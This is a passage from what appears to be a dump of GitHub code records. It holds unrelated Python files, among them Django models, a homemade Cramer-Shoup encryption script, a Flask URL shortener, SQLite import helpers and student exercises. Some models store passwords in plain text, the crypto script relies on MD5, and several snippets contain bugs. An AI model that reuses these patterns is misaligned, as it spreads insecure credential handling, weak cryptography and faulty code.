connection = models.CharField(verbose_name=\"Connection\", max_length=50, blank=True, null=True)\r\n username = models.CharField(verbose_name=\"Username\", max_length=50, blank=True, null=True)\r\n password = models.CharField(verbose_name=\"Password\", max_length=50, blank=True, null=True)\r\n services = models.CharField(verbose_name=\"Services\", max_length=50, blank=True, null=True)\r\n observations = models.TextField(verbose_name=\"Note\", max_length=200, blank=True, null=True)\r\n survey = models.ForeignKey(Survey, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n\r\n class Meta:\r\n verbose_name = \"Survey Server\"\r\n verbose_name_plural = \"Surveys Servers\"\r\n ordering = ['last_modified_at']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(SurveyServer, self).save(*args, **kwargs)\r\n\r\n\r\nclass SurveyDevice(CommonInfo):\r\n name = models.CharField(verbose_name=\"Name\", max_length=50, blank=True, null=True)\r\n ip = models.IntegerField(verbose_name=\"Ip\", blank=True, null=True)\r\n connection = models.CharField(verbose_name=\"Connection\", max_length=50, blank=True, null=True)\r\n username = models.CharField(verbose_name=\"Username\", max_length=50, blank=True, null=True)\r\n password = models.CharField(verbose_name=\"Password\", max_length=50, blank=True, null=True)\r\n type = models.CharField(verbose_name=\"Type\", max_length=50, blank=True, null=True)\r\n observations = models.TextField(verbose_name=\"Note\", max_length=200, blank=True, null=True)\r\n survey = models.ForeignKey(Survey, on_delete=models.CASCADE)\r\n slug = models.SlugField()\r\n\r\n class Meta:\r\n verbose_name = \"Survey Server\"\r\n verbose_name_plural = \"Surveys Servers\"\r\n ordering = ['last_modified_at']\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\n def save(self, *args, **kwargs):\r\n self.slug = slugify(self.name)\r\n super(SurveyDevice, self).save(*args, **kwargs)\r\n","repo_name":"valdivieso01/itmanager","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":15311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17172164242","text":"from prime import *\nfrom util import *\nfrom md5 import md5\nfrom time import time\nfrom pathlib import Path\nimport os\nimport re\n\n#================================\nP = Q = A1 = A2 = X = Y = W = 0\nHOME = str(Path.home())\nDIR = \".cramershoup\"\nPUBKEY = \"id_cramer_pub\"\nSECKEY = \"id_cramer\"\nCANTFOUNDKEYDIR = \"Can't found {0} in {1}\".format(DIR, HOME)\nCANTFOUNDSECKEY = \"Can't found {0} in {1}\".format(SECKEY, DIR)\nINFOGENPRIME = \"Looking for secure prime...\"\nINFOGENERATOR = \"Looking for generators...\"\nINFOKEY = \"Generating public, private key...\"\nINFOFINISHED = \"Finished\"\nINFOWRITING = \"Writing...\"\n#================================\n\n# hash\ndef H(b1, b2, c):\n return md5(\"\".join([hex(i).replace(\"0x\", \"\") for i in [b1, b2, c]]))\n\n# generate a secure prime\ndef GetTwoPrime(bits):\n q = GetPrimeFromScript(bits)\n p = 2*q + 1\n while isProbablePrimeFromScript(p, 20) != True:\n q = GetPrimeFromScript(bits)\n p = 2*q + 1\n return q, p\n\n# find two generators\ndef GetTwoGenerator(p, q):\n g = []\n start = time()\n while len(g) < 2:\n a = rand(2, p-2)\n if pow(a, 2, p) != 1 and pow(a, q, p) != 1 and (a not in g):\n g.append(a)\n if time()-start>3:\n break \n return g\n\n# generate key in home dir\ndef keySchedule(n):\n global P, Q, A1, A2, X, Y, W\n\n print(green(INFOGENPRIME))\n P, Q = GetTwoPrime(n)\n print(green(INFOFINISHED))\n\n print(green(INFOGENERATOR))\n g = GetTwoGenerator(P, Q)\n A1, A2 = g\n print(green(INFOFINISHED))\n\n print(green(INFOKEY))\n x1, x2, y1, y2, w = [rand(0, P-1) for i in range(5)]\n\n X = pow(A1, x1, P) * pow(A2, x2, P) % P\n Y = pow(A1, y1, P) * pow(A2, y2, P) % P\n W = pow(A1, w, P)\n\n pubkey = (X, Y, W, A1, A2, P)\n seckey = (x1, x2, y1, y2, w)\n\n Pub = \"{{}}\".join([hex(i).replace(\"0x\", \"\") for i in pubkey])\n Sec = \"{{}}\".join([hex(i).replace(\"0x\", \"\") for i in seckey])\n print(green(INFOFINISHED))\n \n print(green(INFOWRITING))\n os.chdir(HOME)\n if not IsExistDir(DIR):\n os.mkdir(DIR)\n os.chdir(DIR)\n\n with open(PUBKEY, \"w+\") as f:\n f.write(base64Encode(Pub))\n\n with open(SECKEY, \"w+\") as f:\n f.write(base64Encode(Sec))\n print(\"\")\n\n# chiffrer a message\ndef encrypt(s):\n os.chdir(HOME)\n\n if IsExistDir(DIR):\n os.chdir(DIR)\n if not IsExistFile(SECKEY):\n keySchedule(1024)\n else:\n keySchedule(1024)\n \n with open(PUBKEY, \"r\") as f:\n pubkey = re.split(\"{{}}\", base64Decode(f.read()))\n \n\n X, Y, W, A1, A2, P = [int(i, 16) for i in pubkey]\n \n b = rand(0, P-1)\n B1 = pow(A1, b, P)\n B2 = pow(A2, b, P)\n\n c = int(\"\".join([padRight(hex(m).replace(\"0x\", \"\"), \"0\", 2) for m in bytes(s, encoding=\"utf8\")]), 16) * pow(W, b, P)\n bt = int(H(B1, B2, c), 16)\n\n v = pow(X, b, P) * pow(Y, b * bt, P) % P\n \n return base64Encode(\"{{}}\".join([hex(i).replace(\"0x\", \"\") for i in [B1, B2, c, v, P]]))\n\n# dechiffrer a message\ndef decrypt(s):\n os.chdir(HOME)\n if not IsExistDir(DIR):\n raise Exception(CANTFOUNDKEYDIR)\n os.chdir(DIR)\n if not IsExistFile(SECKEY):\n raise Exception(CANTFOUNDSECKEY)\n \n with open(SECKEY, 'r') as f:\n sec = re.split(\"{{}}\", base64Decode(f.read()))\n msg = re.split(\"{{}}\", base64Decode(s))\n\n B1, B2, c, v, P = [int(i, 16) for i in msg]\n x1, x2, y1, y2, w = [int(i, 16) for i in sec]\n\n bt = int(H(B1, B2, c), 16)\n V = pow(B1, x1 + y1 * bt, P) * pow(B2, x2 + y2 * bt, P) % P \n\n if v == V:\n return bytes([int(i, 16) for i in chunk(hex(c // pow(B1, w, P)).replace(\"0x\", \"\"), 2)]).decode(\"utf8\", \"strict\")\n\n# chiffrer a file\ndef encryptFile(fic):\n with open(fic, 'r') as f:\n s = f.read()\n if s == \"\":\n print(\"File Vide!\")\n with open(fic, 'w+') as f:\n f.write(encrypt(s))\n\n# dechiffrer a file\ndef decryptFile(fic):\n with open(fic,'r') as f:\n s = f.read()\n if s == \"\":\n print(\"File Vide!\")\n with open(fic, 'w+') as f:\n f.write(decrypt(s))\n","repo_name":"GopherJ/ThreeFishAndCramerShoup","sub_path":"cramer.py","file_name":"cramer.py","file_ext":"py","file_size_in_byte":4161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12743915742","text":"import streamlit as st\n\nimport numpy as np\nimport pandas as pd\n\nst.set_page_config(\n layout=\"wide\",\n)\nst.title(\"🌳 Random forest 🌳\")\nst.subheader(\":blue[Overall RMSLE]\")\n\n#결과값\ndef f1(s1, s2):\n if (s1-s2) < 0:\n delta_color = \"inverse\"\n else:\n delta_color = \"normal\"\n value = np.round(abs(s1-s2), 3) \n return value, delta_color\n\ncv_score = 0.381\nvalid = 0.420\ntest = 0.442\n\nv1, d1 = f1(cv_score, valid)\nv2, d2 = f1(cv_score, test)\n\n\ncol1, col2, col3 = st.columns(3)\ncol1.metric(\"CV_score\", cv_score, \"\")\ncol2.metric(\"Test\", valid, v1, delta_color=d1)\ncol3.metric(\"Kaggle (out of sample)\", test, v2, delta_color=d2)\n\n#########################################################\n# st.subheader(\"multicollinearity를 신경 쓸 필요가 없다.\")\n\n# ###########\n# st.markdown(\"\"\"Does multicollinearity affect random forest?\n# Random Forest uses bootstrap sampling and feature sampling, \n# i.e row sampling and column sampling. Therefore Random Forest is not affected \n# by multicollinearity that much since it is picking different set of features \n# for different models and of course every model sees a different set of data points.\"\"\")\n\n#### 데이터셋\nst.subheader(\":blue[📁 Dataset used in model]\")\n\n@st.cache_data\ndef load_data():\n train = pd.read_csv(\"bike_prediction/kaggle_data/train_eda.csv\")\n return train\n\ntrain= load_data()\ncat_col = [\"season\", \"Year\",\"weather\", \"Day of week\",\"Month\",\"Day_info\"] #Hour\nfor col in cat_col:\n train[col] = train[col].astype(\"category\")\n#target, drop, y\ntarget_col = \"count\"\ndrop_cols = [\"Unnamed: 0\", \"datetime\", \"workingday\", \"holiday\", \"Day\", \"Year\", \"Hour\",target_col] #\"sin_hour\", \"cos_hour\"\ntrain = train.drop(drop_cols, axis=1)\n\ncat_col = [\"season\", \"weather\", \"Day of week\", \"Month\", \"Day_info\"] #\"Hour\"\ntrain = pd.get_dummies(train, columns=cat_col)\nst.write(train.head(3))\n\n####################################\nst.subheader(\":blue[👍 Best Hyperparameters]\")\n\nhp_name = [\"n_estimators\", \"max_features\"]\ntypes = [\"int\", \"string\"]\nranges = [\"\"\"[500, 2000]\"\"\",\n \"\"\"[\"auto\", \"sqrt\", \"log2\", None]\"\"\"]\nbest_values = [568, None]\nparams = pd.DataFrame({'hp_name':hp_name,\n \"type\": types,\n 'range':ranges,\n 'best_value':best_values})\nst.write(params)\n\n######################################\nif st.button(\"⌨️ See code for RF Regressor with Optuna\"):\n st.code(\"\"\"\n def objective(trial: Trial) -> float:\n params_rf = {\n \"random_state\": 42,\n \"n_estimators\": trial.suggest_int(\"n_estimators\", 100, 700),\n \"max_features\": trial.suggest_categorical(\"max_features\", [\"auto\", \"sqrt\", \"log2\", None])\n }\n\n n_splits=5\n random_state=42\n kf = KFold(n_splits=n_splits, shuffle=True, random_state=random_state)\n scores = []\n\n #local_train, local_valid를 5번 만들어서 수행\n for train_index, valid_index in kf.split(X=x_train, y=y_train):\n X_train, Y_train = x_train.iloc[train_index], np.log1p(y_train[train_index])\n X_valid, Y_valid = x_train.iloc[valid_index], np.log1p(y_train[valid_index])\n\n model = RandomForestRegressor(**params_rf)\n model.fit(X_train, Y_train )\n\n rf_pred = model.predict(X_valid)\n scores.append(rmsle(Y_valid, rf_pred))\n\n return np.mean(scores)\n\n sampler = TPESampler(seed=42)\n study = optuna.create_study(\n study_name=\"Randomforest\",\n direction=\"minimize\",\n sampler=sampler,\n )\n study.optimize(objective, n_trials=50)\n print(\"Best Score:\", study.best_value)\n print(\"Best trial:\", study.best_trial.params)\n \"\"\")\n\n#############################\nop = \"bike_prediction/RF/op.png\"\npred = \"bike_prediction/RF/pred.png\"\n\nst.subheader(\":blue[Optuna Result]\")\nst.image(op)\n\nst.subheader(\":blue[Test data prediction result]\") \nst.image(pred)\n##############################\nst.subheader(\":blue[Shap Values]\")\nshap = \"bike_prediction/RF/Shap.png\"\nwaterfall = \"bike_prediction/RF/sharp_waterfall.png\"\n\nst.markdown(\"##### Overall Shap Values\")\nst.warning('- Random Forest 모델의 특성을 고려하여 Hour 변수를 sin_hour와 cos_hour로 나누어 학습을 진행하였다.\\n')\nst.image(shap)\n\nst.markdown(\"##### Model explanation for first row\") \nst.image(waterfall)\n","repo_name":"subinchang/machine-learning-projects","sub_path":"bike-sharing-demand-prediction/pages/7_🌳_Random forest.py","file_name":"7_🌳_Random forest.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19738674412","text":"from typing import Callable\nimport time\nimport uuid\nimport argparse\nimport random\nimport pprint\nimport collections\n\nimport numpy as np\n\nfrom event_model import RunRouter, compose_run\nfrom databroker._drivers.msgpack import BlueskyMsgpackCatalog\nfrom suitcase.msgpack import Serializer\n\nimport pathlib\n\n\n# This code will live in an agent that subscribes to the document stream from\n# xpdan. For testing, adapt this loop to look at files on disk / whatever you\n# need to do.\ndef make_some_heuristics(\n num_samples: int, num_measurements: int, *, pub: Callable[str, dict], **md\n) -> None:\n \"\"\"Dummy function to simulate on-the-fly data quality checks\n\n\n Parameters\n ----------\n num_samples : int\n The number of samples to randomly draw from\n\n num_measurements : int\n How many \"measurements\" to add to the cache\n\n pub : Callable[str, dict]\n Function to push the name/doc pairs generated into ::\n\n def callback(name : str, doc : dict) -> None:\n ...\n\n **md : kwargs\n These will be stuffed into the start document.\n\n \"\"\"\n for j in range(num_measurements):\n sample_num = random.randint(0, num_samples)\n\n # make the start document, stuff metadata here\n start_bundle = compose_run(\n metadata=dict(\n sample_num=sample_num,\n raw_uid=str(uuid.uuid4()),\n integrated_uid=str(uuid.uuid4()),\n **md,\n )\n )\n pub(\"start\", start_bundle.start_doc)\n # make the descriptor, what keys you going to give me?\n # assume everything is just float64 scalars\n key_desc = {\n \"dtype\": \"number\",\n \"dtype_str\": \" 0):\n yield chunk\n del chunk[:]\n chunk.append([line[i] for i in idx])\n yield(chunk)\n\ndef do_insert(cur, chunk, name, colname):\n num_cols = len(colname)\n vals = list(map(lambda line : '({})'.format(','.join(line)), chunk))\n num_ins = len(vals)\n # ins_string = ','.join(['({})'.format(','.join((['?'] * num_cols)))] * num_ins)\n ins_string = ','.join(['({})'.format(','.join((['?'] * num_cols)))] * num_ins)\n\n cur.execute('INSERT INTO {} ({}) VALUES {};'.format(name, \",\".join(colname), ins_string), list(itertools.chain.from_iterable((chunk))))\n\n\n\"\"\"\nImports data from f into the table given by name\n\ndataidx is a list of int which specify to columns in the data which correspond\nto colname in order. First column is col 0\n\"\"\"\ndef import_to_table(conn, name, f, colname, dataidx, delim='\\t', fmap=None, transaction=False):\n try:\n cur = conn.cursor()\n cur.execute(\"SELECT name FROM sqlite_master WHERE type='table' AND name='{}'\".format(name))\n if not cur.fetchone:\n raise Exception(\"Table {} does not exist\".format(name))\n\n if transaction:\n # Import table data from file f\n print(\"{} starting reading data from {}\".format(datetime.now(), f))\n data = csv.reader(open(f, 'r', encoding='utf-8'), delimiter=delim)\n print(\"{} finish reading data from {}\".format(datetime.now(), f))\n \n # chunk + transactions\n chunk_size = math.floor(chunk_limit / len(colname))\n chunk_count = 0\n row_count = 0\n\n for chunk in gen_chunks(data, chunk_size, dataidx):\n chunk_count += 1\n row_count += len(chunk)\n\n #print(\"{} begin preprocessing for chunk {}\".format(datetime.now(), chunk_count))\n\n if fmap:\n chunk = map(lambda line : list(map(fmap, line)), chunk)\n\n chunk = list(map(lambda line : list(map(lambda s : str(s), line)), chunk))\n #print(\"{} finish preprocessing for chunk {}\".format(datetime.now(), chunk_count))\n\n #print(\"{} begin transaction for chunk {}\".format(datetime.now(), chunk_count))\n cur.execute('BEGIN TRANSACTION')\n\n do_insert(cur, chunk, name, colname)\n\n cur.execute('COMMIT')\n if chunk_count % 1e4 == 0:\n print(\"{} finished transaction for chunk {} with {} rows\".format(datetime.now(), chunk_count, row_count))\n print(\"{} finished transaction for chunk {} with {} rows\".format(datetime.now(), chunk_count, row_count))\n\n else:\n # line by line\n ins_string = '({})'.format(','.join((['?'] * len(colname))))\n row_count = 0\n\n for line in open(f, 'r'):\n tokens = line.strip(' \\n').split('\\t')\n row_count += 1\n iline = map(lambda s : str(s), [tokens[i] for i in dataidx])\n cur.execute('INSERT INTO {} ({}) VALUES {};'.format(name, \",\".join(colname), ins_string), list(iline))\n\n if row_count % 1e6 == 0:\n conn.commit()\n print(\"{} finished inserting {} rows\".format(datetime.now(), row_count))\n print(\"{} finished inserting {} rows\".format(datetime.now(), row_count))\n\n conn.commit()\n cur.close()\n\n except Error as e:\n print(e)\n\ndef create_index(conn, table, col):\n cur = conn.cursor()\n\n idx_name = 'indx_{}_{}'.format(table, col)\n print('{} indexing {} in {}'.format(datetime.now(), col, table))\n cur.execute('CREATE INDEX {} ON {} ({});'.format(idx_name, table, col))\n conn.commit()\n print('{} indexed {} in {}'.format(datetime.now(), col, table))\n\n cur.close()\n","repo_name":"csmetrics/influencemap","sub_path":"assets/construct_db/construct_db_func.py","file_name":"construct_db_func.py","file_ext":"py","file_size_in_byte":5157,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"21"} +{"seq_id":"31879168964","text":"def closest_power(base, num):\n '''\n base: base of the exponential, integer > 1\n num: number you want to be closest to, integer > 0\n Find the integer exponent such that base**exponent is closest to num.\n Note that the base**exponent may be either greater or smaller than num.\n In case of a tie, return the smaller value.\n Returns the exponent.\n '''\n # Your code here\n i=0\n while base**i <= num:\n i += 1\n\n print(i)\n print(abs(base**i - num))\n print(abs(base**(i-1) - num))\n if abs(base**i - num) >= abs(base**(i-1) - num):\n return i-1\n else:\n return i\n\nprint(closest_power(2, 192.0))\n","repo_name":"abhinavmall/PythonStuff","sub_path":"ClosestPower.py","file_name":"ClosestPower.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70311083572","text":"nombres =[]\r\napellidos =[]\r\nmatriculas =[]\r\ncarreras =[]\r\npromedios =[]\r\ntamaño=10\r\ncalf=0\r\ncalificacion=0\r\nj=1\r\nfor i in range(tamaño):\r\n print(\"ingresa los datos de la persona\",i+1)\r\n nombre = input(\"nombre: \")\r\n apellido = input(\"apellido: \")\r\n matricula = input(\"matricula: \")\r\n carrera = input(\"carrera: \")\r\n for j in range(10):\r\n calificacion=int(input(\"calificaciones: \"))\r\n calf=calf+calificacion\r\n j=j+1\r\n \r\n j=1\r\n prom=calf/10\r\n nombres.append(nombre)\r\n apellidos.append(apellido)\r\n matriculas.append(matricula)\r\n carreras.append(carrera)\r\n promedios.append(prom)\r\n \r\n\r\nif promedios[i] >=6:\r\n for i in range(tamaño):\r\n print(\"alumnos reprobados: \")\r\n print(\"nombre: \",nombres[i])\r\n print(\"apellido: \",apellidos[i])\r\n print(\"promedio: \",promedios[i])\r\n \r\nelif promedios[i]<6:\r\n for i in range(tamaño):\r\n print(\"alumnos reprobados: \")\r\n print(\"nombre: \",nombres[i])\r\n print(\"apellido: \",apellidos[i])\r\n print(\"promedio: \",promedios[i])\r\n \r\n \r\n","repo_name":"LuckVinas/matrices","sub_path":"matriz de calificaciones.py","file_name":"matriz de calificaciones.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20006275437","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nimport string\nimport random\n\napp = Flask(__name__)\n#Initialising Flask\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///urls.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n\nclass Urls(db.Model):\n id_ = db.Column(\"id_\", db.Integer, primary_key = True)\n #Setting primary key to true makes the id unique\n long = db.Column(\"long\", db.String())\n short = db.Column(\"short\", db.String(3))\n\n def __init__(self, long, short):\n self.long = long\n self.short = short\n #No ID as that is generated by SQLAlchemy for us\n #Url is the name of the database\n#Database model\n\n@app.before_first_request\ndef create_tables():\n db.create_all()\n#Creates the database\n\ndef short_url():\n letters = string.ascii_lowercase + string.ascii_uppercase\n #Creates a list of all the lowercase and uppercase alphabets\n #Can be modified for example to hold spooky words for a \"halloween\" theme\n while True:\n stringRand = random.choices(letters, k = 3)\n stringRand = \"\".join(stringRand)\n isPresent = Urls.query.filter_by(short = stringRand).first()\n if not isPresent:\n return stringRand\n #Returns the string if it doesn't already have a mapping\n\n@app.route('/', methods = ['POST', 'GET'])\ndef home():\n if request.method == \"POST\":\n url = request.form[\"nm\"]\n lookup = Urls.query.filter_by(long = url).first()\n #Checking if the long url is already present\n if lookup:\n return redirect(url_for(\"shortUrlDisplay\", url = lookup.short))\n else:\n shortUrl = short_url()\n newUrl = Urls(url, shortUrl)\n db.session.add(newUrl)\n db.session.commit()\n return redirector(url_for(\"shortUrlDisplay\", url = shortUrl))\n #Creating a short url\n else:\n return render_template(\"home.html\")\n\n@app.route(\"/display/\")\ndef shortUrlDisplay(url):\n return render_template(\"shorturl.html\", short_url_display = url)\n#The url in the angular brackets can be accessed inside the function\n\n@app.route(\"/\")\ndef redirector(short_url):\n Query = Urls.query.filter_by(short = short_url).first()\n if Query:\n return redirect(Query.long)\n else:\n return f\"

URL doesn't exist

\"\n\n#def hello_world():\n #return \"Hello, world!\"\n# return render_template(\"home.html\")\n#Decorator function, it \"wraps\" around what is inside.\n#If the extension is simply a forward slash, this will be printed.\n\n#@app.route(\"/Sreeharsha\")\n#def hello_harsha():\n# return \"Hi, Harsha\"\n#Similarly if the extension is Sreeharsha, then this will be printed.\n\nif __name__ == \"__main__\":\n app.run(port = 5000, debug = True)\n","repo_name":"SreeHarshika/Attendance_Tracking","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37143948191","text":"import os\nfrom setuptools import setup, find_packages\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetup(\n name=\"django-questionnaire\",\n version=\"0.0.1\",\n description=\"A Django application for creating simple online questionnaires/surveys.\",\n long_description=read(\"README.md\"),\n author=\"Marco Minutoli\",\n author_email=\"info@marcominutoli.it\",\n license=\"BSD\",\n url=\"https://github.com/Bookrepublic/django-questionnaire\",\n packages=find_packages(),\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"Environment :: Web Environment\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: BSD License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n 'Programming Language :: Python :: 2.5',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n \"Framework :: Django\",\n ],\n install_requires=[\n 'django',\n ],\n)\n","repo_name":"Bookrepublic/django-questionnaire","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40755609447","text":"#MIN AND MAX\r\nN_list = []\r\nfor x in range(5):\r\n N_list.append(int(input(\"Enter data :..\")))\r\nprint()\r\nmaxi = max(N_list)\r\nmini = min(N_list)\r\nprint(\"The max value is :....\",maxi)\r\nprint(\"The min value is :....\",mini)\r\n#\r\n","repo_name":"ruslan-durrani/Python-Problems-Games-Patterns-Twisty-Concepts","sub_path":"MIN max.py","file_name":"MIN max.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28780345365","text":"class Solution:\n def uniqueMorseRepresentations(self, words) -> int:\n morse = [\".-\", \"-...\", \"-.-.\", \"-..\", \".\", \"..-.\", \"--.\", \"....\", \"..\", \".---\", \"-.-\", \".-..\", \"--\", \"-.\",\n \"---\", \".--.\", \"--.-\", \".-.\", \"...\", \"-\", \"..-\", \"...-\", \".--\", \"-..-\", \"-.--\", \"--..\"]\n letter = 'abcdefghijklmnopqrstuvwxyz'\n morse_set = {letter[i]: morse[i] for i in range(26)}\n word_set = set()\n for word in words:\n addone = ''\n for l in word:\n addone += morse_set[l]\n word_set.add(addone)\n return len(word_set)\n\n\na=Solution()\ninp=[\"gin\",\"zen\",\"gig\",\"msg\"]\nprint(a.uniqueMorseRepresentations(inp))","repo_name":"MinnanZhou/Leetcode","sub_path":"804.py","file_name":"804.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13145064600","text":"#!/usr/bin/python3\n\nfavorite_languages = {\n 'jen': 'python',\n 'sarah': 'c',\n 'edward': 'ruby',\n 'phil': 'python',\n 'humberto': 'java',\n }\n\npeople = favorite_languages.keys()\npeople.append('emily')\npeople.append('evangeline')\npeople.append('elliot')\n\nfor person in people:\n if person in favorite_languages:\n print(person + \" thank you for your time\")\n else:\n print(person + \" please, be part of our poll\")\n","repo_name":"humbertoperdomo/practices","sub_path":"python/PythonCrashCourse/PartI/Chapter06/polling.py","file_name":"polling.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18815164961","text":"\n\n\n\ndef de(elementos,maximoPeso):\n listPeso=[]\n peso=0\n for elemento in elementos:\n wi=elemento[0]\n vi=elemento[1]\n #print(wi)\n peso += wi\n #print(f'peso: {peso}')\n if peso <= maximoPeso:\n limiteD = listPeso.append(elemento)\n #print(f'derechaaaaa{listPeso}')\n if peso == maximoPeso:\n break\n if peso > maximoPeso:\n limiteD=elemento\n #print(limiteD)\n break\n return limiteD , listPeso\n\ndef iz(elementos,maximoPeso):\n listPeso=[]\n peso=0\n for elemento in reversed(elementos):\n wi=elemento[0]\n vi=elemento[1]\n #print(wi)\n peso += wi\n #print(f'peso: {peso}')\n if peso <= maximoPeso:\n limiteIz = listPeso.append(elemento)\n #print(f'izquierdaa {listPeso}')\n if peso == maximoPeso:\n break\n if peso > maximoPeso:\n limiteIz=elemento\n #print(limiteIz)\n break\n return limiteIz , listPeso\n\n \ndef maletin(elementos,maximoPeso):\n\n for i in range(len(elementos) ):\n derecha, derechalist=de(elementos,maximoPeso)\n izquierda , izquierdalista =iz(elementos,maximoPeso)\n #print(f'derecha salida: {derecha}')\n #print(f'izquierda salida: {izquierda}')\n #print(f'derecha lista: {derechalist}')\n #print(f'izquierda lista: {izquierdalista}')\n\n\n if derecha==izquierda:\n if derecha== None and izquierda == None:\n maleta= derechalist\n #print(f'elementos Maleta 1: {maleta}')\n break\n \n elementos.remove(derecha)\n if izquierda ==None:\n maleta= izquierdalista\n #print(f'elementos Maleta: {maleta}')\n if derecha == None:\n maleta= derechalist\n \n print(f'elementos Maleta: {maleta}')\n return maleta\nmaleta=[]\n#print(f'elementos Maleta: {maleta}')\nelementos = [(2, 3), (3, 4), (4, 5), (5, 6)]\nmaximoPeso=9\n\ngrupo=maletin(elementos,maximoPeso)\n\n\n\"Se debe dejar la maleta vacia , dar elementos y maximoPeso\"\n\n ","repo_name":"diegoperea20/testVeevart","sub_path":"test19.py","file_name":"test19.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29553373447","text":"import sys\n \nimport pygame\nfrom pygame.locals import *\nfrom Background import Background\n\nfrom Charachter import Charachter\nfrom Objects import Objects\npygame.init()\n \nfps = 60\nfpsClock = pygame.time.Clock()\n \nwidth, height = 640, 480\ni=0\nscreen = pygame.display.set_mode((width, height))\nChar= Charachter(screen,(0,height*2/3))\nBack= Background(screen,(0,height*2/3),0.5)\nobj= Objects(screen,(width,height*2/3),0.5)\n# Game loop.\nwhile True:\n screen.fill((0, 0, 0))\n \n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n elif event.type == KEYDOWN and event.key == pygame.key.key_code(\"space\"):\n Char.jump()\n \n # Update.\n # Draw.\n\n \"\"\"for hbox in obj.hitBox:\n if( Char.deadHit(hbox)):\n print(\"dead\" + str(i))\n i+=1\"\"\"\n \n Back.animate()\n Char.animate()\n obj.animate()\n obj.deadHit(Char)\n \n \"\"\"a=Char.deadHit(obj.hitBox)\n print(a)\"\"\"\n\n pygame.display.flip()\n fpsClock.tick(fps)","repo_name":"taoubianas/RunnerGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31410178225","text":"# Import some modules from other libraries\nimport numpy as np\nimport torch\nimport time\nfrom matplotlib import pyplot as plt\nfrom collections import deque\n\n# Import the environment module\nfrom environment import Environment\nfrom q_value_visualiser import QValueVisualiser\n\n\nclass ReplayBuffer:\n\n def __init__(self, use_online_learning=False, prioritise_buffer=True):\n self.buffer = deque(maxlen=5000)\n self.use_online_learning = use_online_learning\n self.prioritise_buffer = prioritise_buffer\n if prioritise_buffer:\n self.buffer_probs = deque(maxlen=5000)\n self.default_prob = 0.1\n self.indices_used = []\n\n def sample(self, sample_size=20):\n\n if self.use_online_learning:\n state, act, rew, next_state = self.buffer[-1]\n return state, act, rew, next_state\n\n buffer_size = len(self.buffer)\n sample_size = sample_size if buffer_size > sample_size else buffer_size\n \n # Choose 'sample_size' number of random indices based on probabilities in buffer_probs\n if self.prioritise_buffer:\n total_prob = np.sum(self.buffer_probs)\n if total_prob:\n buffer_probs = np.array(self.buffer_probs) / np.sum(self.buffer_probs)\n random_indices = np.random.choice(list(range(buffer_size)), size=sample_size, replace=False, p=buffer_probs)\n else:\n random_indices = np.random.randint(0, buffer_size, size=sample_size) # No probs\n\n all_s = []\n all_a = []\n all_r = []\n all_next_s = []\n\n for idx in random_indices:\n state, act, rew, next_state = self.buffer[idx]\n all_s.append(state)\n all_a.append(act)\n all_r.append(rew)\n all_next_s.append(next_state)\n\n self.indices_used.append(random_indices)\n\n return all_s, all_a, all_r, all_next_s\n\n def append(self, transition):\n self.buffer.append(transition)\n if self.prioritise_buffer:\n self.buffer_probs.append(self.default_prob)\n\n\n# The Agent class allows the agent to interact with the environment.\nclass Agent:\n\n # The class initialisation function.\n def __init__(self, environment, epsilon=0.01, use_rand_actions=False):\n # Set the agent's environment.\n self.environment = environment\n # Create the agent's current state\n self.state = None\n # Create the agent's total reward for the current episode.\n self.total_reward = None\n # Reset the agent.\n self.reset()\n\n self.action_size = 4\n self.action_length = 0.1\n\n self.epsilon = epsilon\n self.decay_epsilon = True\n self.use_rand_actions = use_rand_actions\n\n def get_state_as_idx(self, state):\n world_length = 1.0\n states_vector = np.array(np.arange(0, world_length, self.action_length), dtype=np.float32) + (self.action_length / 2)\n sx, sy = (state - (self.action_length/2)) / self.action_length\n sx, sy = int(round(sx)), 